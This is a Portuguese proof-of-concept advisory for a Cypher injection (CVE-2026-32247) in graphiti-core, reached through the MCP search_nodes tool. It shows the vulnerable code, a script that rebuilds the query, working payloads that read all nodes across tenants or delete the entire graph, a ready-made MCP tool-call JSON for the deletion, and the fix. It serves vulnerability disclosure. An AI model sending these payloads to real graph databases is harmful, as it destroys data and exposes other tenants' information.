
Prova de conceito para CVE-2026-32247, uma injeção de Cypher no graphiti-core por meio de node_labels não sanitizados, demonstrando exfiltração de dados e exclusão de grafo através do MCP search_nodes.
Severidade: Alta (CVSS 8.1)
CWE: CWE-943 — Neutralização Imprópria de Elementos Especiais em Lógica de Consulta de Dados
Afetado: graphiti-core <= 0.28.1 (pip)
Corrigido em: 0.28.2
Aviso: GHSA-gg5m-55jj-8m5g
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
Crédito: Romain Deperne
O graphiti-core constrói cláusulas WHERE em Cypher unindo strings de rótulos de nós fornecidas pelo usuário com | e concatenando-as em uma consulta bruta. Um atacante pode injetar operadores Cypher arbitrários, exfiltrar dados de qualquer nó do grafo em todos os tenants, ou excluir o grafo inteiro — sem parametrização, sem validação em nenhum ponto da cadeia.
Verifiquei a construção da consulta na fronteira entre a ferramenta MCP e o banco de dados de grafo. Em search_filters.py, 'n:' + node_labels concatenava valores do parâmetro entity_types da ferramenta diretamente em uma consulta Cypher.
O que tornou isso interessante além de uma injeção padrão: a cláusula WITH do Cypher permite sair de um contexto WHERE e iniciar um pipeline completamente novo. Assim, ) fecha a expressão de rótulo entre parênteses, WITH n transita para uma nova cláusula, e // descarta silenciosamente o restante da consulta original. Um payload, acesso total ao grafo.
Primeiro reproduzi a construção da consulta em um script independente, depois verifiquei o caso destrutivo contra um banco de dados de grafo antes de reportá-lo.
Arquivo: graphiti_core/search/search_filters.py, linhas 91–92 e 134–135
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
Ponto de entrada: mcp_server/src/graphiti_mcp_server.py, linha 441
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
O parâmetro entity_types flui da chamada da ferramenta MCP search_nodes diretamente para o construtor de consultas. Tanto os backends Neo4j quanto FalkorDB são afetados. O backend Kuzu não é afetado porque utiliza consultas parametrizadas.
O valor de node_label_filter (n:Label1|Label2) é incorporado em uma consulta Cypher como:
WHERE (n:Label1|Label2) AND ...
Como os rótulos são unidos por | e envolvidos entre parênteses pelo chamador, um atacante só precisa fechar a expressão com ) e injetar novas cláusulas Cypher. O operador de comentário // suprime o restante da consulta original.
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
Via chamada de ferramenta MCP:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_idDETACH DELETE apaga todo o grafogroup_id é aplicado após o filtro de label injetável — injetar uma cláusula WITH contorna-o completamenteA versão corrigida valida os labels dos nós contra uma allowlist de caracteres alfanuméricos antes da interpolação, e o caminho de pesquisa fulltext utiliza consultas parametrizadas para os valores de group_id.